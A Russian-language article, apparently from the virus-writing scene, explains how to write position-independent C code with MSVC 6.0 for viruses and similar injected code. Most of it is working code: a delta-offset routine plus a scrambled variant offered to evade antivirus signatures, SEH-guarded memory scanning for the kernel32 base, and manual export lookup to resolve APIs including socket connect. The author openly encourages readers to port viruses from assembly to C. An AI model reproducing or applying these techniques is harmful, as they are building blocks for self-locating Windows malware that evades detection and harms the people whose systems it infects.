В этой статье в основном речь пойдет о том, как, пользуясь microsoftовским
компилятором visual C++, создавать код, который можно было бы загрузить по
произвольному адресу и при этом он не терял свою работоспособность.
Это бывает полезно при создании всякого рода патчей, PE-EXE
упаковщиков-распаковщиков, конечно же вирусов, да и просто если нужно
в адресном пространстве некоторого процесса выполнить свой кусок кода.
Традационно для таких программ используют ассемблер, но так как и
операционные системы все усложняются, и требования к программам возрастают,
то самое время переходить на C. Особенно это требуется для сложных программ,
взаимодействующих с сетями...
Конечно, есть более простые способы, чем описанные здесь (например, создать
отдельный процесс; или сгенерить код по какому-нить экзотическому адресу
(что-то вроде 0x6EAD0000), а потом выделить память именно в этом месте и
загрузить туда свою программу), но все они имеют свои недостатки.
Итак, как заставить компилятор создавать код без привязки к конкретным
адресам... К счастью, процессоры intel x86 - это не z80 [;)] и инструкции
jmp и call используют относительные смещения. Осталось только выяснить,
в каких случаях компилятор подставляет абсолютные адреса...
Это могут быть:
1. startup код, коды runtime библиотек;
2. глобальные переменные, адреса функций в C-программе
3. вызов импортируемых функций.
4. некоторые особые случаи...
Значит, делаем так:
1. Отказываемся от startup кода (вирусу он только мешает),
не используем функций из статических библиотек, а пишем
все сами (написать strcmp() не так уж трудно), или
импортируем из msvcrt.dll/crtdll.dll
2. Все адреса пропускаем через функцию delta такого вот содержания:
#pragma warning(disable:4035)
void *delta(void *start) {
__asm {
call label1
label1: pop eax
sub eax, offset label1
add eax, [start]
}
}
#pragma warning(default:4035)
конечно же, эта функция просто незаменима и поэтому может стать
неплохой сигнатурой для аверов. Рекомендуется придумать что-то вроде
void *delta(void *start) {
__asm {
call label1
label0: pop ebx
leave
retn
label1: add ecx, eax
xor eax, ecx
pop eax
shr edx, 1
sub eax, offset label0
add eax, [start]
}
}
Все глобальные переменные группируем в один большой struct,
и передаем указатель на него между функциями. Все нужные константы
должны быть там. Тут есть два способа как к нашему коду добавить
блок констант: или обрабатывать его отдельно, дописывая сразу после
кода, или сделать функцию - пустышку типа
void data() {
__asm nop
// 1 line = 8*16 = 128 bytes
__asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop
__asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop
}
и в main написать: memcpy(data, &init, DATASIZE)
при этом конечно нужно добавить
#pragma comment(linker, "/SECTION:.text,ERW")
в начало программы.
3. импортируемые функции.
Придется отказаться от прямого вызова таких функций. Все, что нам нужно,
это struct с адресами API. Адреса можно получить, используя свою
таблицу импорта (это несколько неудобно), как показано в прилагающемся
примере (win32vir.cpp), или более привычно - сканированием памяти,
об этом - дальше.
4. Особые случаи.
Как известно, памяти в стеке резервируется при загрузке модуля
(точнее, при запуске каждого threada) обычно достаточно много,
а именно столько, сколько указано в
IMAGE_OPTIONAL_HEADER.SizeOfStackReserve (по умолчанию там 1Mb),
а выделяется она по мере необходимости (по заполнении очередной
4х-килобайтной страницы), поэтому если функция использует локальных
переменных более чем на 4Кб, то компилятор вызывает служебную функцию,
которая выделяет память в стеке. Нам этого совсем не надо...
Выход - не использовать локальные переменные более 4Кб на функцию.
Если еще учесть, что есть проблеммы с глобальными переменными, то
получается довольно неудобно... Поэтому делаем так - ищем заменяем
вызовы этой функции на нашу, тогда это досадное ограничение можно
снять. Вот примерчик из одной моей проги:
__declspec(naked) void InitStackPages(void) // это помещается внутрь
{ // основного кода
__asm{
push ecx
cmp eax, 000001000h
lea ecx, [esp+00008h]
jb __Exit
__Loop:
sub ecx, 000001000h
sub eax, 000001000h
test [ecx],eax
cmp eax, 000001000h
jae __Loop
__Exit:
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax][00004]
push eax
retn
}
}
// а это должно выполнятся только 1 раз после компиляции, обычно это
// внутри инсталлятора, поэтомы нет вызовов delta() для first_func и last_func
char x;
main() {
// перенаправить вызовы InitStackPages
char a[8192] = {0}; // это нужно, чтобы спровоцировать вызов InitStackPages
char x = a[0]; // это нужно, чтобы компилятор не прибил переменную a[]
for (unsigned char *i = (unsigned char*)main; *i != 0xE8; i++);
unsigned offset = *(unsigned*)(i+1);
for (unsigned char *j = (unsigned char*)first_func; j < (unsigned char*)last_func; j++)
if (j[-5] == 0xB8 && *j == 0xE8 && i+offset == j+*(unsigned*)(j+1))
*(unsigned*)(j+1) = (unsigned)InitStackPages - 5 - (unsigned)j;
}
Похоже, придется отказаться и от использования try{}, но все это можно
пережить (вот примерчик из еще одной моей проги,
заодно и пример сканирования памяти)
#define WORD4(a,b,c,d) ((a)+(b)*0x100+(c)*0x10000+(d)*0x1000000)
#define WORD2(a,b) ((a)+(b)*0x100)
#pragma pack(1)
typedef struct _constants {
char MainImagePath[128];
DWORD CryptCode;
// ---------------- import data -------------
char Kernel32DLL[sizeof("KERNEL32.DLL")];
char CreateFileA[sizeof("CreateFileA")];
char ReadFile[sizeof("ReadFile")];
char SetFilePointer[sizeof("SetFilePointer")];
char VirtualAlloc[sizeof("VirtualAlloc")];
char CreateThread[sizeof("CreateThread")];
char CreateFileMappingA[sizeof("CreateFileMappingA")];
char MapViewOfFile[sizeof("MapViewOfFile")];
char UnmapViewOfFile[sizeof("UnmapViewOfFile")];
char CloseHandle[sizeof("CloseHandle")];
char nul0;
char WSOCK32DLL[sizeof("WSOCK32.DLL")];
char connect[sizeof("connect")];
// .....................
char nul1, nul2;
// ------------- end of import data ----------
char GetProcAddress[sizeof("GetProcAddress")];
char LoadLibraryA[sizeof("LoadLibraryA")];
} CONSTANTS, *PCONSTANTS;
#pragma pack()
CONSTANTS init = {
"C:\\WINNT\\SYSTEM32\\ntoskrnl.exe", 0,
// ---------------- import data -------------
"KERNEL32.DLL",
"CreateFileA",
"ReadFile",
"SetFilePointer",
"VirtualAlloc",
"CreateThread",
"CreateFileMappingA",
"MapViewOfFile", // полный список перечислять нет смысла,
"UnmapViewOfFile", // все и так все поняли
"CloseHandle",0, // вот так переходим к следующему модулю...
"WSOCK32.DLL", // начало следующего модуля
"connect", 0, 0, // конец списка импорта
// .......................
// ------------- end of import data ----------
"GetProcAddress",
"LoadLibraryA"
};
typedef struct _winapi {
// ---------------- imported -------------
HANDLE (__stdcall *CreateFile)(LPCTSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE);
BOOL (__stdcall *ReadFile)(HANDLE,LPVOID,DWORD,LPDWORD,LPOVERLAPPED);
DWORD (__stdcall *SetFilePointer)(HANDLE,LONG,PLONG,DWORD);
LPVOID (__stdcall *VirtualAlloc)(LPVOID,DWORD,DWORD,DWORD);
HANDLE (__stdcall *CreateThread)(LPSECURITY_ATTRIBUTES,DWORD,LPTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD);
HANDLE (__stdcall *CreateFileMapping)(HANDLE,LPSECURITY_ATTRIBUTES,DWORD,DWORD,DWORD,LPCTSTR);
LPVOID (__stdcall *MapViewOfFile)(HANDLE,DWORD,DWORD,DWORD,DWORD);
BOOL (__stdcall *UnmapViewOfFile)(LPCVOID);
BOOL (__stdcall *CloseHandle)(HANDLE);
int (__stdcall *connect)(SOCKET,const struct sockaddr FAR*,int);
// ...................
// ------------- end of imported ---------
unsigned Kernel32;
FARPROC (__stdcall *GetProcAddress)(DWORD, LPCSTR);
DWORD (__stdcall *LoadLibrary)(LPCTSTR);
PCONSTANTS ConstData;
} TWIN32, *PWIN32;
int _strcmp(char *str1, char *str2) {
while (*str1 && *str1 == *str2)
str1++, str2++;
return *str1 - *str2;
}
#define tolower(c) ( ((c)<'A' || (c)>'Z') ? (c) : (c)-'A'+'a' )
// Как и GetProcAddress в kernel32, если hModule - не DLL, то страничный сбой
DWORD NativeGetProcAddress(DWORD hModule, char *lpszFunctionName)
{
DWORD dwFunctionAddress = 0;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_DATA_DIRECTORY pDataDir;
PIMAGE_EXPORT_DIRECTORY pExportDir;
if (*(short*)hModule != WORD2('M','Z'))
return dwFunctionAddress;
pNtHeader = (PIMAGE_NT_HEADERS)(hModule + *(unsigned*)(hModule+0x3C));
if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
return dwFunctionAddress;
pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if(!pDataDir->VirtualAddress)
return dwFunctionAddress;
pExportDir = (PIMAGE_EXPORT_DIRECTORY) (pDataDir->VirtualAddress + hModule);
char **pszName = (char**)((DWORD)pExportDir->AddressOfNames + hModule);
for(unsigned i=0; i < pExportDir->NumberOfNames; i++, pszName++)
if(!_strcmp(*pszName+hModule, lpszFunctionName))
goto found;
return dwFunctionAddress;
found:
WORD *pwOrdinals = (WORD*)((DWORD)pExportDir->AddressOfNameOrdinals + hModule);
DWORD *pdwFunctionAddress = (DWORD*)((DWORD)pExportDir->AddressOfFunctions + hModule);
return pdwFunctionAddress[pwOrdinals[i]] + hModule;
}
typedef unsigned (__stdcall *FUNC)(void *);
typedef void (__stdcall *ERRFUNC)(void *);
// Выполняет функцию unsigned __stdcall func(void *param),
// возвращает значение этой функции если не было ошибок, или
// вызывает void __stdcall error(void *param) и возвращает 0,
// если имело место исключение.
// В param может передаваться указатель на блок переменных
// также допустим вложенный вызов seh()
unsigned seh(FUNC func, ERRFUNC error, void *param) {
unsigned result;
__asm {
// set SEH
pushad
call next
next: pop ebx
lea eax,[ebx+SEHproc]
xor ebx,ebx
lea ecx,[ebx+next]
sub eax,ecx
push eax
lea ecx,[esp-4]
xchg ecx,fs:[ebx]
push ecx
// start of protected section
push dword ptr [param]
call dword ptr [func]
mov [result], eax
// end of protected section
jmp short SEHok
// exception handler
SEHproc:xor ebx,ebx
mov eax,fs:[ebx]
mov esp,[eax]
pop dword ptr fs:[ebx]
pop eax
popad // restore ebp!
push [param]
call [error]
push 0
pop [result]
jmp return
// Restore old SEH
SEHok: xor ebx,ebx
pop dword ptr fs:[ebx]
pop eax
popad
return:
}
return result;
}
__declspec(naked) void nullfunc(void *param) {
__asm retn 4
}
unsigned __stdcall GetGetProcAddr(unsigned param) {
return NativeGetProcAddress((DWORD)param, ((PCONSTANTS)delta(data))->GetProcAddress);
}
#define WIN_NT_KERNEL32_BASE 0x77F00000
#define WIN_9XOSR2_KERNEL32_BASE 0xBFF70000
#define WIN_2KBETA_KERNEL32_BASE 0x77ED0000
#define WIN_2KFULL_KERNEL32_BASE 0x77E80000
unsigned GetKernelBase() {
FUNC getget = (FUNC)delta(GetGetProcAddr);
ERRFUNC nullf = (ERRFUNC)delta(nullfunc);
#ifdef FAST_SCAN
if (seh(getget, nullf, (void*)WIN_NT_KERNEL32_BASE))
return WIN_NT_KERNEL32_BASE;
if (seh(getget, nullf, (void*)WIN_9XOSR2_KERNEL32_BASE))
return WIN_9XOSR2_KERNEL32_BASE;
if (seh(getget, nullf, (void*)WIN_2KBETA_KERNEL32_BASE))
return WIN_2KBETA_KERNEL32_BASE;
if (seh(getget, nullf, (void*)WIN_2KFULL_KERNEL32_BASE))
return WIN_2KFULL_KERNEL32_BASE;
#endif
for (unsigned i=0xC0000000; i > 0x00400000; i -= 0x10000)
if (seh(getget, nullf, (void*)i))
return i;
return 0;
}
int FindWin32Functions(PWIN32 Win32) {
Win32->ConstData = (PCONSTANTS)delta(data);
if (!(Win32->Kernel32 = GetKernelBase())) return 0;
Win32->GetProcAddress = (FARPROC(__stdcall*)(DWORD,LPCSTR))GetGetProcAddr(Win32->Kernel32);
Win32->LoadLibrary = (DWORD(__stdcall*)(LPCTSTR))NativeGetProcAddress(Win32->Kernel32, Win32->ConstData->LoadLibraryA);
char *ptr = Win32->ConstData->Kernel32DLL;
unsigned *addr = (unsigned*)&Win32->CreateFile;
while (*ptr) {
unsigned ImageBase = Win32->LoadLibrary(ptr);
while (*ptr++);
while (*ptr) {
if (!(*addr++ = (unsigned)Win32->GetProcAddress(ImageBase, ptr)))
return 0;
while (*ptr++);
}
ptr++;
}
return 1;
}
Hint: короткие строки можно фомировать непосредственно в программе, а не
хранить в глобальных константах, конечно же, не байтами а сразу DWORDами:
char sec_name[8];
*(unsigned*)sec_name = WORD4('.', 'v', 'i', 'r');
*(unsigned*)(sec_name+4) = WORD4('u', 's', 0, 0);
или
void http(PWIN32 Win32, SOCKET &s) {
char test_string[4];
// ... ботва ...
*(unsigned*)test_string = WORD4('2','0','6',0);
if (_strstr(res_buf, test_string) { // server supports re-get
// .. ну и т.п...
}
Ну как? понятнее, чем на ассемблере... Про заражение PE-файлов как-нить
в другой раз, просто в качестве упражнения перепишите пару виряков
с asmа на C, чтобы уж совсем освоиться... Похоже, создание качественных
и сложных вирей становится приятным и несложным занятием, так что скоро
можно ожидать толпу новых поделок ;)
P.S. все вышесказанное относится исключительно к msvc версии 6.0, хотя
возможно справедливо и для пятой версии...
|